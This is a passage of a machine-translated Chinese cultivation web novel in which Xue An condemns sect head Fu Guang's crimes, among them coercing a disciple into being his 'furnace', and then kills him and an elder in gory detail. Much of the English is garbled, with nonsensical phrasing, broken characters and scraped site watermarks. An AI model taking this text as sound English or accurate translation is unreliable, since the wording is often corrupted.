    At the same time, when the elder Ciyun saw this woman, his complexion changed drastically, and his whole body trembled slightly, exclaiming in a low voice, "Deer...Senior Sister Deer?"


    That''s right!


    The one who came was the master sister of Jinding Pavilion, Lu Chuzhen.


    The dignity of his identity and the tyrannical strength were far beyond his elder Ciyun could afford.


    Therefore, Ci Yun''s complexion changed several times, and finally he glanced at Xing Yushu with a little panic.


    He didn''t understand why this young man, who didn''t seem to have much surprise, could alarm Lu Chuzhen to come here in person.


    There was also a slight commotion among the crowd.


    Although these wealthy children have never seen Lu Chuzhen, it does not prevent them from hearing the name.


    This is the legend of the Golden Ding Pavilion. After only a hundred years of worshipping the mountain gate, he has become the most outstanding talent in the Golden Ding Pavilion for thousands of years, and was personally promoted by the master to become the master sister of the master.


    Such existence, even after they worshipped the mountain gate, they could only look up.


    At this moment, I saw Lu Chuzhen gradually waking up from the confusion, but after seeing the two soul-slashing lamps of Bai Ruo Chuxue, there was still a touch of pain in his eyes, and then his voice trembled slightly.


    "Juvenile, Yu...Who is Yu He?"


    Xing Yushu whispered: "That''s me... Grandpa!"


    "Grandpa..." Lu Chuzhen repeated softly, a complex and inexplicable color flashed across his face, and then asked in a tone of hope.


    "Then...where is he now?"


    Xing Yushu''s hand was firmly clenched, and he trembled: "My grandpa has... has gone!"


    Upon hearing this, Lu Chuzhen was shocked.


    Although she had expected it, these two Soul Slashing Lamps were not fake.


    But after I really heard the news, I couldn''t help but feel the grief in my heart, with big tears oozing out of the corners of my eyes.


    "Just left? You fool, I didn''t let you leave at the beginning, but you insisted on going down the mountain. Why bother?"


    Lu Chuzhen whispered softly, as if suddenly remembering something, she raised her head and looked at Xing Yushu hopefully, "Then, did your grandfather mention anyone before he died?"


    Xing Yushu was silent for a moment, then shook his head, "No, he just said, let me come to Jinding Pavilion and inherit his chance!"


    "No..." Lu Chuzhen showed an unwilling look on her face, "Are you not willing to forgive me even before dying? But have you ever experienced my difficulties?"


    She stood in place and muttered to herself, the expression on her face seemed sad and joyful, which was incomprehensible.


    Xing Yushu couldn''t help but be a little stunned. He didn''t understand what this woman was doing, and couldn''t help taking a peek at Xue An.


    Seeing Xue An standing silently at this moment, there was no expression on his face.


    At the same time, the Lu Chuzhen suddenly raised her head and smiled at Xing Yushu, "Forgot to ask, what is your name?"


    "Xing Yushu!"


    "Okay! Since you are here to inherit your grandfather''s chance, then after you count as my old friend, come with me!"


    With that said, Lu Chuzhen wanted to lead Xing Yushu away.


    But at this time Xing Yushu shook his head, "I can''t go!"


    "Why?" Lu Chuzhen was taken aback.


    "Because this elder Ciyun said I failed the assessment!" Xing Yushu said coldly.


    Lu Chuzhen''s face sank, and she turned to look at Ciyun in the distance.


    Ciyun shook all over, and ran forward hurriedly, nodding and bowing, and said, "I have seen the master sister!"


    Lu Chuzhen looked cold, "Is what he said just now is true?"


    There was a cold light in Ciyun''s eyes, but he explained quickly: "This...this is not my intention, it is..."


    "Don''t say it, this is my person, what kind of thing do you dare to block?" Lu Chuzhen raised her eyebrows and shouted coldly.


    "Yes! Ciyun is convicted!" Ciyun bowed his head deeply, but a flash of resentment and resentment flashed in his eyes.


    Lu Chuzhen ignored it, "Let''s go!"


    Saying and waving, a cloud of auspicious clouds wrapped Xing Yushu and Xue An''an, and then flew away.


    After the scene had become empty, this Ciyun raised his head, looking gloomy in the direction where Lu Chuzhen and others were leaving.


    Shengmanyu and Lu Shifa stepped forward together, and said worriedly: "Elder Ciyun, what should I do now?"


    For the two of them, naturally they are even more afraid that Xing Yushu will be appreciated by Lu Chuzhen, because this means that their future days in Jinding Pavilion will be very uncomfortable.


    Ciyun snorted coldly, "Although she is the master sister, she can''t cover the sky with one hand!"


    Ciyun is not a fool, on the contrary, he can be said to be an extremely smart person if he can reach the position of elder in this Golden Ding Pavilion by relying on his not outstanding strength.


    Therefore, Lu Chuzhen''s performance after seeing Xing Yushu and the words she said just now, this kind of cloud has been seen in his eyes and remembered in his heart.


    Now even a fool can see that the relationship between this Lu Chuzhen and this young grandfather is very unusual.


    And then think of the rumors in the door about the master sister and the head...


    A cold smile appeared at the corners of Ciyun''s mouth.


    What if you are a big sister? If I get caught this time, even you won''t be able to ask for it.


    Therefore he said coldly: "Let''s go, follow me into the Golden Ding Pavilion!"


    After all, he waved his sleeves and led everyone who passed the assessment back to the Golden Ding Pavilion At the same time.


    Xing Yushu has also arrived in a pavilion floating on the top of the Jinding Pavilion.


    Needless to say, the luxurious decoration inside, the key is the strength of the surrounding spiritual power, which is simply refreshing.


    And through the window, you can see the vast ground under your feet, this kind of scenery makes Xing Yushu look a little silly.


    Xue An didn''t say a word, just watched coldly.


    At this time, Lu Chuzhen asked some more questions about Xing Yuhe, but she didn''t seem to care about Xing Yuhe''s death, but only repeatedly asked whether he had mentioned himself.


    In this regard, Xing Yushu could only shook his head to deny.


    Lu Chuzhen was sad, but at this moment, he heard only a clear chime.


    Lu Chuzhen''s complexion changed.


    Because this chime means that the head is calling everyone!

 Chapter 1281： The head of the golden light

    At the top of the Jinding Pavilion, it is a huge platform.


    On weekdays, this place is used by the disciples in the pavilion to perform martial arts, but if there are special circumstances, such as an emergency call by the head, it will become a venue that can accommodate all disciples.


    When Lu Chuzhen came here, many disciples had gathered on the platform and they were talking quietly.


    "What''s the matter? Why did the head suddenly summon me to wait?" An inner disciple asked solemnly.


    "Who knows, and this year''s opening ceremony is one day earlier than in previous years. It is said that the master has occasional feelings, and I don''t know whether it is good or bad!" Another disciple responded.


    At this moment, Lu Chuzhen''s arrival caused a commotion among the disciples.


    "Master sister!"


    "I have seen Master Sister!"


    The greetings came one after another, and many disciples all bowed their hands in salute.


    Lu Chuzhen nodded slightly as a response, but his eyes could not help but drift to the other end of the square.


    over there.


    Elder Ciyun, Elder Shuijing, and those wealthy children who had come to the mountain gate today, gathered together, and it seemed that they had become the strongest faction in the Golden Ding Pavilion.


    Even when facing the master teacher Lu Chuzhen, these people just smiled coldly, but did not express anything.


    Especially Ciyun, there was a smug look in his eyes first, then turned his head, immediately changed to a flattering color, and laughed at the elder Shui Jing.


    "This Lu Chuzhen really takes herself seriously. In fact, who doesn''t know how she became a big sister! These disciples may not know the mess between her and the head, we are the elders Do you still know?"


    The words are full of evil and gloating.


    This elder Shui Jing is a middle-aged woman, but because of the excellent maintenance, she still looks beautiful and moving.


    And after hearing what Ciyun said, she couldn''t help but snorted coldly.


    "That''s right, this little **** is becoming more and more rampant, especially this time, he actually dared to intervene in the grand ceremony of the mountain that we had so easily won, and forcefully brought a stubborn child who had a feast with my Sheng family into the Jinding Pavilion. In, is this deliberately going against our Sheng family?"


    That''s right!


    This elder Shui Jing was also born in the Sheng family, and even according to seniority, the two sisters Sheng Manyu and Sheng Miaotong had to call her an aunt.


    This is also the reason why the two of them will be so respected by Ciyun.


    Now that the two of them have become the disciples of Elder Shui Jing, Shengmanyu naturally told his aunt about everything.


    Shui Jing couldn''t help furious after hearing the words.


    You must know that she had already seen this Lu Chuzhen displeased, just because of the face of the head, there was no way to attack.


    This time, Lu Chuzhen dared to deliberately oppose the Sheng family, so Shui Jing was naturally dissatisfied.


    Although Lu Chuzhen didn''t know all of this, when she saw Ci Yun and Shui Jing standing together and whispering as if they were talking in secret, her heart was tight.


    The two of them are obviously not at ease!


    Just as an ominous premonition was rising in her heart, she saw a golden light coming from the sky, and it instantly appeared on the high platform in the middle of the square.


    When the golden light dissipated, it was a majestic middle-aged man wearing a robe embroidered with gold patterns.


    When seeing this person, all the disciples in the audience bowed together, "I have seen the head!"


    The sound shook the world and even shattered the clouds and mist that lingered in the Golden Ding Pavilion.


    The man blushed, a smug smile appeared at the corner of his mouth, and then he waved his hand gently.


    "All are free!"


    The sound was not loud, but it contained great majesty, and it passed into the ears of everyone in the field.


    These disciples got up one after another, but their faces were still full of awe.


    Because the person who came is the 78th generation of Jinding Pavilion Fuguang!


    You must know that as the head of the Golden Ding Pavilion and even this Golden Cave Sky, even the disciples in the Pavilion rarely have the opportunity to see him.


    Unexpectedly, this time he suddenly summoned everyone, and he didn''t know what would happen.


    Many people thought of it silently.


    It seems that he has sensed the doubts in everyone''s hearts. This Fuguang smiled, looked around the audience, and said lightly: "I think everyone should be very puzzled at this moment, why should I call everyone here!"


    All the disciples couldn''t help but bow their heads as far as they could see.


    This huge square instantly became silent.


    Fu Guang was very satisfied with the effect, the smug color on his face became thicker, and then he smiled and said: "In fact, it''s nothing big. Dao...Daluo Peak!"


    Following the voice, a powerful aura rose from him, and even his eyes were stained with bright golden light.


    As far as the momentum came, everyone in the audience was startled first, and then they all showed joy, bowing their heads and shouting: "Congratulations to the head of cultivation, the world is invincible!"


    The voice shook the four fields.


    This Fuguang finally couldn''t help being proud of his heart, and laughed loudly, "Same joy and joy!"


    For a while, the whole square was filled with a cheerful atmosphere.


    After all, as the head of the Jinding Pavilion, Fu Guang''s cultivation level is directly related to the future and future of the martial art.


    It sounds like this Da Luo pinnacle doesn''t seem to be very eye-catching. After all, many of the disciples who have just entered the gate of the mountain are already true immortal powerhouses.


    The elders like Shui Jing are without exception, they are all half-step Da Luo level powerhouses.


    But you have to know that there is such a saying among the cultivators that they have different strengths at the same level.


    This means that a cultivator of the same realm level may have a huge difference in strength.


    For example, the direct disciple of Void Dajiao in the center of the star sea is a true immortal cultivation base, and the small school casual cultivation in the desolate starfield is also a true immortal.


    But if these two meet, the true lineage can easily kill each other in seconds.


    This is because of the disparity in martial arts heritage!


    Therefore, in many cases, the realm of www.novelhall.com cannot directly prove the strength.


    As the head of the Golden Ding Pavilion, Fu Guang''s strength can only be regarded as the bottom among the seven caves, but it is not comparable to the average powerhouse.


    This time he took a big step forward and became the pinnacle of Da Luo.


    The elder disciples up and down in the Jinding Pavilion were naturally happy.


    At this moment, I saw Shui Jing stepping out of the crowd, giving a deep salute, and said with great excitement.


    "The head is indeed the strong man who is clocked by the destiny. Seeing the once-in-a-hundred-year-old competition will be opened, the seven Taoist traditions of the cave will fight against each other. You break through at this time, it is really the fortune of my Jinding Pavilion!


    The words of the elder Shui Jing almost scratched the itch of the light perfectly, and saw him showing a smug smile.


    "The elder Shui is too acclaimed, but this time the Taoist Grand Competition, I have the confidence to make me go further!"

 Chapter 1282： Vicious heart

    For a while, Ciyun and others, as well as many disciples, began to flatter, and flattery filled the entire square.


    Fu Guang nodded and smiled, extremely proud.


    But when the sound receded, the elder Shui Jing suddenly showed a vicious look in his eyes, and then chuckled lightly.


    "But the boss, there is one more thing I don''t know whether to say or not!"


    "Huh? What''s the matter?" Fu Guang asked with a smile.


    "Is this..." Elder Shui Jing glanced at Lu Chuzhen in the distance, and then said lightly: "It''s about our master master sister!"


    "Oh? What can Zhen''er do?" Fu Guang was slightly startled.


    Lu Chuzhen was also shocked, but she hadn''t waited for her to speak.


    The elder Shui Jing said in a playful tone: "It''s not a big deal, but I heard Ciyun say that our master teacher went down the mountain privately and forcibly intervened in the opening ceremony and recruited two A teenager of unknown origin!"


    "Is there such a thing?" Fu Guang frowned slightly.


    At the same time, Ciyun, who had been waiting for the opportunity in the rear, saw that the fire was almost over, and hurriedly stepped forward to fan the flames, "Back to the head, what Elder Shui said is true!"


    Fu Guang turned his head and glanced at Lu Chuzhen coldly, especially when he saw Xing Yushu and Xue An standing behind Lu Chuzhen, the expressions on his face became even more serious.


    "what happened?"


    Lu Chuzhen was a little flustered. She didn''t expect that Shui Jing and Ci Yun would be so vicious. They actually kicked the matter out on this occasion. She was caught off guard, she had no preparation at all.


    A touch of jealousy appeared in Fu Guang''s eyes.


    If you only recruited two beginner disciples, that wouldn''t be a big deal, but the point is that both of these young men are very good, especially the one in white clothes that makes Fu Guang even more invisible.


    This can''t help making him, who has always regarded Lu Chuzhen as a forbidden, very unhappy in his heart.


    Upon seeing this, Shui Jing and Ci Yun looked at each other, and they both saw the joy in each other''s eyes.


    Then the water mirror released the strongest assassin.


    I saw her sneer.


    "Master, if only two unrelated disciples were admitted, I heard that our master master sister was very excited after seeing this young man, and kept shouting what Yuhe..."


    As soon as this remark came out, the original majestic Fu Guang suddenly changed.


    Because of this name, it reminded him of many bad memories.


    So I couldn''t help but said angrily: "Lu Chuzhen, are they all true?"


    Lu Chuzhen''s face was as white as paper, and her whole body was trembling slightly.


    She wanted to say no, but now Shui Jing and Ci Yun are all watching, and it is impossible for her to deny it.


    In the end, Lu Chuzhen slowly lowered her head under everyone''s attention, "Yes! Head, this is indeed the descendant of my brother Yu He, but I just want to continue the opportunity for him, you..."


    "Okay, stop talking!"


    Fu Guangsheng was as cold as ice, and his eyes passed over Lu Chuzhen, who was trembling slightly with fear, and fell on Xing Yushu.


    No wonder this young man felt familiar at first glance. It turned out to be Xing Yuhe''s descendants.


    Fu Guang''s eyes couldn''t help but see layers of killing intent.


    The entanglement between the three of them a hundred years ago was extremely complicated.


    But in the final analysis, it is the beauty of this Fuguang coveted Lu Chuzhen and her rare roots, which are of great benefit to male repairers.


    And because of this, he used various methods to lure this Lu Chuzhen.


    As a result, Lu Chuzhen got involved and resolutely broke up with Xing Yuhe, who had already established a relationship with Dao-luo, causing Xing Yuhe''s Dao-heart to rupture, and finally stopped at the outer disciple and descended sadly.


    Of course, these past are the deepest secrets of Jinding Pavilion, and outsiders certainly don''t know.


    Even Xing Yuhe just thought that Lu Chuzhen was simply changing his mind.


    But Fu Guang, who did all of this, knew this well. In fact, if Lu Chuzhen had not become his furnace, he would not have made rapid progress in this short century, and eventually promoted to the big. Luo Dianfeng.


    But I didn''t expect that after I just broke through, I met my old acquaintance, there was a ghost in my heart, and of course a bitter intent to kill was born.


    Feeling the killing intent from the boss, Lu Chuzhen was trembling all over.


    In the past hundred years, she has not been happy.


    Although she got her wish and became the master elder sister, in the entire Jinding Pavilion, apart from the ignorant bottom disciples, few elders or inner sect true biography took her seriously.


    Occasionally, when she dreamed back at midnight, she would recall all the past with Xing Yuhe.


    For this reason, she was so excited after feeling the breath of the two soul-slashing lamps she gave to Xing Yuhe.


    She wanted to cover everything up, after all, one more disciple in the Golden Ding Pavilion was nothing.


    But now things have been revealed, and judging from the murderous intent that Fu Guang now radiates, it is estimated that today''s things are difficult to be good.


    Lu Chuzhen was nervous, but in the end he gritted his teeth, and then stood before Xing Yu''s writing and said in an almost imploring tone.


    "Head, everything is my fault. I will drive him down the mountain now, so let them go! Okay?"


    But her pleading didn''t do anything, Fu Guang frowned in disgust and snorted coldly, "Go away!"


    boom!


    With this sound, Lu Chuzhen was directly shaken out, and then vomited a mouthful of blood.


    But Fu Guang felt like he hadn''t seen this.


    In fact, after successfully breaking through the peak of Da Luo, Lu Chuzhen''s use value has been minimal.


    So Fu Guang naturally didn''t bother to pay attention to her plea.


    Now Xing Yushu is left alone facing Fu Guang.


    However, seeing Fuguang''s body becoming more and more powerful, even a cyclone appeared in the sky above his head.


    Then Fu Guang asked coldly: "Are you from the Xing family?"


    Xing Yushu was trembling all over, not because he was afraid, but because the difference in strength was too great.


    The disparity was so great that when he faced Fu Guang''s questioning, he couldn''t even speak.


    "Humph!" Fu Guang snorted coldly when he saw it.


    With this sound, I saw a golden light like a hammer, directly hitting Xing Yushu.


    The speed was so fast that it even rubbed the air into a harsh scream.


    Lu Chuzhen looked at all this desperately, without even wiping the blood from the corner of his mouth.


    At this moment, she finally felt the heart-wrenching regret.


    But when Shui Jing, Ci Yun and others saw such a scene, they all smiled triumphantly.


    But at this moment, I saw a slender palm suddenly appeared in front of this golden light, and then grasped it with a click, and then completely crushed it.


    The audience was shocked, and then all eyes gathered on the owner of the palm.


    But seeing Xue An in white clothes standing calmly, there was a coldness between his eyes.


    See this scenario.


    The expressions on the faces of Shui Jing and others, who were originally full of pride, froze.


    In the crowd, Sheng Miaotong covered his mouth with his hands, his eyes gradually widened, and his eyes were full of shock.


    Because she never expected that Xue An actually dared to come forward at this time.


    As for Shengmanyu, Lu Shifa and others, they were even more dumbfounded and stared blankly.


    Just in this silence of the audience.


    Xue An looked up coldly, looked at Fu Guang standing on the high platform, and said indifferently: "I wanted to give you some more opportunities, but now it seems that there is no need for this!"

 Chapter 1283： Count the crimes and kill the audience in seconds! ! ! ...

    These words shocked everyone.


    Including Lu Chuzhen, who was sitting on the ground, all looked blank, because she also didn''t know what the white-clothed young man, who had been silent since entering the Jinding Pavilion, meant by saying this.


    Fu Guang was also taken aback, because he didn''t expect that someone could easily break his golden light spell.


    But soon, he recovered his calm, and then showed a condescending sneer.


    "Give us more opportunities? Who do you think you are? A god?"


    The crowd who had just fallen into shock also recovered at this moment. After hearing this ridicule from Fu Guang, they couldn''t help laughing.


    Especially Shengmanyu and others, even more relieved.


    I really want to die by myself!


    I don''t know how to provoke death. I dare to provoke the head of Jinding Pavilion.


    Just when these people all thought that Xue An was bound to die.


    But seeing that Xue An didn''t move at all, he said in Gu Jing Bubo''s tone: "In charge of the Taoist tradition, but threatening to lure the girl under his clan into a furnace, this is your first serious crime!"


    Fu Guang''s discoloration changed, because Xue An''s words were almost at the point, so he said grimly: "Where is the kid talking nonsense here, get out of here!"


    Following the last scrolling exit, a golden rune wheel appeared above Xue An''s head instantly.


    This move is Fu Guang''s fame stunt, which is already amazing.


    In addition, he had just broken through to reach the top of Da Luo, once he shot, his momentum was even more shocking.


    But seeing the golden light shining like a scorching sun, with the majesty of Huanghuang, it went straight down.


    Shengmanyu secretly let out a breath, no matter what.


    This guy eventually died.


    After all, in her opinion, no one can withstand the full blow of the head of Jinding Pavilion, even the Patriarch of the Sheng Family, her father cannot.


    But I never expected that when the golden light rune wheel just arrived around Xue An''s body, the mighty golden light suddenly began to converge crazily, and then disappeared, there was also that strong aura.


    When it arrived in front of Xue An, this golden light rune had completely collapsed, leaving only an erratic golden flame.


    Then Xue An sighed lightly.


    puff!


    The flame was completely extinguished and vanished.


    The audience was quiet first, and then it was shocked.


    "How is it possible? The head of the golden light rune wheel is known as invincible, how can it be turned into nothing in front of this young man?" The elder Shui Jing roared with horror as if he had seen a ghost.


    "Who is he?" Ci Yun was not much better, looking at Xue An with an earthy face, whispering softly.


    At the same time, Xue An remained unmoved, took a step forward slowly, and continued with a voice of incomparable indifference, like a divine sentencing: "To indulge in your subordinates'' reckless behavior and ruin the inheritance of Taoism, this is your second most serious crime. !"


    After the first miss, Fu Guang was also a little dumbfounded, but soon he recovered sober, and then looked at Xue An extremely solemnly.


    "You can actually break me, who are you?"


    But Xue An did not pay attention to his words at all. Instead, he took a step forward and said indifferently: "If you don��t accept disciples with talent, but you don��t like the poor and love the rich, the poor disciples cannot get ahead, making the rich get richer, and the strong will always The strong but the weak will never have the chance to get ahead. This is your third sin!"


    Fu Guang finally became angry, and roared with hatred: "Zhuzi is arrogant! I am the strong man who is clocked by the destiny. How can you comment?"


    As he said, he saw Fu Guang stomping his feet suddenly, and numerous golden rune wheels appeared around his body, and then quickly assembled together to form a huge rune wheel that was a hundred feet high.


    Fu Guang laughed a few times, "Give me to death!"


    boom!


    The rune wheel turned and came straight.


    Wherever he went, cracks appeared in the space.


    The people who were close to him backed away even more shocked.


    But even in the face of such a powerful blow, Xue An still remained unmoved, and did not even raise his eyelids, but continued to move forward.


    At this moment, the golden rune wheel suddenly rushed to the front.


    A sneer appeared at the corner of Fu Guang''s mouth.


    He is confident that even if the opponent is the elder of the other big caves, it will be difficult to avoid this attack.


    This boy, I guess...


    The thought behind instantly faded, and the smile on Fu Guang''s face also solidified.


    Not only him, all the people present were in shock.


    Because this rune wheel of a hundred meters high, after blasting to Xue An''s front, didn''t even hold a breath, it disintegrated on its own and turned into shattered pieces.


    It''s as if... there is a layer of magic that is magical to this young man.


    Such scenes have made the liver and gallbladder torn apart.


    At this time, Xue An��s fourth step has fallen steadily, and then continued: ��External ways and evil ways to cultivate the Chinese Orthodoxy, destroy the foundation of the predecessors, and destroy the example of the future generations. This is your fourth sin!��


    Fu Guang was shocked, and then roared in horrified anger: "No, this is impossible! I don''t believe you can break all my spells!"


    As he said, he saw Fuguang raised his hand and started crazy Jieyin.


    With the formation of handprints, but seeing the golden light bursts, the spells were awe-inspiring, and then they all rushed towards Xue An.


    And Fu Guang did not forget to roar: "Attack together, whoever killed this person, I have a great reward!"


    With an order, Shui Jing, Ci Yun and others took the lead to attack, and then the wealthy children such as Shengmanyu and Lu Shifa also basically issued their strongest blows.


    For a while, seeing all kinds of spells blasting out, the concentration of spells even completely sealed off this space.


    do you died?


    Many people stared at it.


    After all, under such a high-density attack, even if the half-step Immortal King came, he had to retreat.


    But at this moment, everyone''s eyes gradually widened.


    Because a strange scene is slowly appearing in front of everyone. UU reading www. uukanshu.cOM


    Seeing that all the golden light and spells came to Xue An''s body, like ice and snow under the scorching sun, instantly vanished.


    Without any attack, he could touch a single hair of Xue An.


    At this moment, the young man who walked out of the sky full of magical attacks, his white clothes surpassed the snow, his clothes fluttering, he was like an independent immortal, immune to all the pain in the world.


    All people''s brains are blank.


    And Xue An slowly raised his head, looking at the shocking light standing on the high platform, and said lightly: "Overestimate, run wild, rely on the strong, bully, domineering, this is your fifth sin! "


    Having said that, but seeing Xue An stepped forward, crossing the distance of several kilometers between the high platforms, directly appeared in front of Fu Guang.


    Fu Guang was shocked, just about to resist.


    But seeing Xue An suddenly stretched out his hand, grabbed Fu Guang''s neck, then lifted it into the air, and said indifferently.


    "You... are you guilty?"

 Chapter 1284： Fellow? What are you worthy...

    Fu Guang struggled hard, as the head of the school, and at the same time the first person in this golden light cave, no one had ever dared to do this to him.


    Therefore, under this anger and anger, Fu Guang burst out of unprecedented potential, and Da Luo Peak''s cultivation base was even more urged to the extreme.


    But seeing countless golden lights spreading around him, he rushed towards Xue An frantically.


    But everything is in vain.


    When these golden lights had just arrived halfway, they melted quickly like candles burned by a fire, and then gradually disappeared into nothingness.


    From beginning to end, even Xue An''s hair didn''t even blow.


    These pictures made Fu Guang utterly horrified.


    At the same time, he felt that the hand holding his neck was gradually tightening.


    Although the whole process was slow, it made him unable to resist.


    Fu Guang felt that all his cultivation bases were gradually being restrained, and even breathing became difficult.


    You should know that when the cultivation level reaches his realm, you can actually do without breathing long ago, just relying on spiritual power conversion.


    The illusion of difficulty breathing now proves that Xue An not only pinched his neck, but also cut him off from the environment around him.


    This can''t help making Fu Guang even more frightened, and said, "You...who are you? Why don''t you be afraid of the Taoism I waited for?"


    Xue An raised the corner of his mouth, revealing a cold smile, "Why don''t you be afraid of the Dao you waited for? Ha ha, all the things you master are created by my people, can you understand it now?"


    Fu Guang''s pupils shrank instantly to the size of a pinpoint, because he thought of a legend that only the head of the martial arts would know.


    Legend has it that none of the founders of the seven great caves were from this world, but migrated from an ancient and mysterious place.


    But because the time was too long, this Fuguang just listened to it roughly, and didn''t take it to heart.


    Unexpectedly, I met Xue An today.


    He looked at Xue An in horror, and whispered: "You...are you from the Chinese nationality?"


    Xue An smiled slightly, "That''s right, but unfortunately there is no reward!"


    As he spoke, the hand holding Fuguang''s neck slammed hard again.


    Fu Guang was shocked, and because of the isolation of spiritual power, his face quickly turned red and purple.


    This feeling of slowly moving towards death made the pampered and accustomed to the light and liver, and finally exhausted the last strength, and said two words in a nearly pleading tone.


    "Spare!"


    This pleading for mercy spread throughout the square.


    Whether it was a disciple or an elder, they all stared blankly. Many people even made their brains blank because of the unthinkable reality.


    After hearing this begging for mercy, many people gradually recovered their sobriety.


    But before they could fully react, Xue An sneered coldly, "Now I know to beg for mercy? It''s a pity... it''s too late!"


    With that, a cold light flashed in Xue An''s eyes.


    "Do not!"


    Fu Guang screamed out with the last trace of strength, because at this moment, he felt an extremely harsh killing intent.


    Under this power, Fu Guang felt like a lamb to be slaughtered on the butcher''s cutting board, already smelling death.


    So he tried to save himself.


    "Master, save me!"


    When these four words had just been shouted, I saw an anxious cry from the depths of the Jinding Pavilion, "Daoist, show mercy!"


    However, Xue An was not moved at all. Instead, he narrowed the cold light in his eyes and said calmly: "Walk well, don''t give it away!"


    After that, Xue An''s palm suddenly shook.


    Bang!


    Just heard the muffled sound of flesh and blood being squeezed.


    Fu Guang''s neck was squeezed and exploded by Xue An with one hand, and his broken head rolled to the ground, and the light of blood rose to the sky, dyeing most of the high platform red.


    Then Fu Guang''s headless body slowly fell to the ground.


    "Daoyou..." The voice in the Jinding Pavilion obviously didn''t expect Xue An to actually dare to start, and couldn''t help but roar.


    But Xue An didn''t bother to pay attention to this at all. Instead, he took a step forward, then raised his foot and stepped on Fuguang''s head, coldly said.


    "I said I want to kill you, then your spirit must die!"


    There was a white light flickering between Fu Guang''s eyebrows, and Fu Guang''s cry that became stern because of extreme fear.


    "Do not����."


    Click!


    With a crisp sound, Fu Guang''s shout stopped abruptly.


    Because Xue An stepped on it, he trampled his head to pieces.


    The scarlet blood mixed with the thick white brain is flowing on the ground, and the blood is even more disgusting.


    Many disciples who were close to him were already frightened to the ground.


    Even those who are far away are not in much better condition, some are timid, and they look at Xue An with blank eyes, obviously already frightened.


    The complexions of Shui Jing, Ci Yun and others were naturally extremely ugly, because they didn''t expect that this white-clothed boy would be so brutal and tough when he took a shot, and he would directly blow Fu Guang to an explosion.


    But then, a touch of joy appeared in these people''s eyes.


    Because they all heard the voice from the depths of Jinding Pavilion.


    At the moment when Xue An just stepped on the Fuguang, the Jinding Pavilion under his feet suddenly began to tremble violently.


    Golden lights appeared over the square, and then these golden lights gathered together, gradually condensing a human form.


    When the golden light dispersed, inside was an old man with white beard and hair and a majestic face.


    After seeing this old man, Shui Jing, Ciyun and many other elders were overjoyed, and then fell to the ground together, shouting with excitement: "I have seen the old master!"


    That''s right!


    Appearing here is the previous head of Jinding Pavilion, Xiuwen.


    His appearance made the extremely suppressed atmosphere above the square relax.


    Many disciples of the Golden Ding Pavilion were all excited.


    Because regardless of strength or prestige, this Xiuwen is much stronger than Fu Guang.


    If it hadn''t been for three hundred years ago, Xiuwen had planned to concentrate on cultivation and break through the realm and extend his life because of his age and life span, he would not have the turn to inherit the throne of the master.


    But because this Xiuwen has been in retreat in the Jinding Pavilion for the past three hundred years, many new disciples have no idea of ??his existence.


    But in the eyes of the elders and the inner room truth, , the old master is the strongest person in this school.


    Now that he is out of the mountain, it means that the good days of this young man in white are over.


    Everyone is thinking.


    But seeing Xiuwen looking at his disciple''s corpse on the high platform with a sad face, after a long while, he forcibly suppressed the anger in his heart, and said coldly.


    "Friends, I have already pleaded with you, why do you want to go your own way and kill my lover?"


    In the sound of questioning, golden light floated above the Golden Ding Pavilion, and the vast sky seemed to change.


    This kind of momentum also made Shui Jing and others feel confident.


    It seems that the old sect master has been closed for three hundred years, and his strength has greatly improved!


    But in this situation, Xue An, who was standing in a pool of blood, raised his head to look at the angry Xiuwen, and then smiled faintly.


    "Friend of Daoist? Excuse me, what kind of thing do you call me Daoist?"

 Chapter 1285： furious? Ill show you crazy! ...

    oom!


    Xue An''s words caused a violent commotion in the audience.


    "Gosh, is this guy crazy? How dare to talk to the old master like this?"


    "I really don''t know how high the sky is! Do you really think that killing a phoenix will make the world invincible? Don''t you know that there are people outside the world, the old sect master is the first person I send!"


    "Hmph, looking for death! With such provocative words, the old sect master will definitely be furious!"


    These comments were basically from people who had long looked upon Xue An''s dislike.


    The same is true for Shengmanyu and others.


    Only Sheng Miaotong among the crowd had been looking at Xue An with worrying eyes, and his heart was clenched.


    Master Xue, don''t have anything to do with you!


    Unsurprisingly, after hearing what Xue An said, this Xiuwen was really furious.


    He saw his white eyebrows upside down, his eyes wide open, and he said with extreme coldness.


    "Boy, I respect you as a Chinese, and you have a good talent and cultivation base, so I tolerate you everywhere, but you don''t have to make an inch!"


    "Oh? You also know that I am a member of the Chinese nationality, so well, let me ask you, is my Chinese Taoism the tool you use to accumulate money and ruin?" Xue An asked in a deep voice with cold face.


    "You..." Xiuwen took a deep breath, then suppressed the anger in his heart, and said coldly: "I admit that we are lacking in what we have done, but this is not your reckless act, and you don''t even want to kill my love. Reasons to be disciples!"


    Xue An smiled, laughed wantonly and arrogantly, then raised his hand to point to everyone on the square, "I have seen everything with my own eyes, but when it comes to your mouth, it becomes a light and lacking? But they said that I acted recklessly and didn''t ask questions indiscriminately?"


    Speaking of this, Xue An showed white Sensen teeth and said in a cold tone: "And I will kill, what can you do?"


    These words were like a scoop of cold water poured into a pot of hot oil, and the audience instantly boiled.


    Sheng Manyu coldly snorted, "Looking for death!"


    In her opinion, Xue An is so arrogant and arrogant that he is dying, after all, what he is provoking now is the master of the old school and the entire Jinding Pavilion.


    But Sheng Miaotong didn''t think so. She slammed her mouth tightly and opened her big eyes, looking admiringly at the figure of Xue An standing on the high platform.


    Especially when she saw the wild smile on Xue An''s face, her whole body became soft, and there was only one thought left in her mind.


    Cattle*!


    at the same time.


    Seeing that the fire was almost over, the elder Shuijing knelt forward and climbed a few steps, and first respectfully saluted Xiuwen, "I have seen the old master!"


    Then, without waiting for others to react, he looked at Xue An with a brutal face, and said bitterly: "Boy, you kill my party leader and utter rants. Today, I Jinding Pavilion will kill you."


    When she said this, Shui Jing''s eyes were full of pride, and her heart was full of joyful thoughts.


    Burn it! The more the fire burns, the better!


    If you want to ask who is the happiest when Fu Guang died in the audience, it must be her.


    Because in terms of identity and status, she is the most hopeful of becoming the next head.


    That''s why she can''t wait to show herself.


    But her pride didn''t last long, and she might not even have a breath, and all her ideas and ambitions vanished.


    Because at this moment, Xue An frowned slightly and said coldly, "Noisy!"


    As he said, Xue An stretched out his hand and shook it.


    Although separated by a long distance, Xue An''s grip seems to have crossed the barrier of time and space, and landed on the head of the water mirror at a mysterious angle.


    There was a muffled sound.


    The head of Shui Jing burst open directly, along with her spirit.


    One move, this man worked so hard for hundreds of years, and finally became the golden mirror of the elder of Jinding Pavilion, and his soul was destroyed!


    The headless corpse trembled slightly, seemingly unwilling, but in the end it fell helplessly into the dust.


    Such a brutal blow made everyone around him petrified.


    Then he heard a cry of horror.


    Ciyun turned around and ran.


    At this moment, he was scared to go crazy.


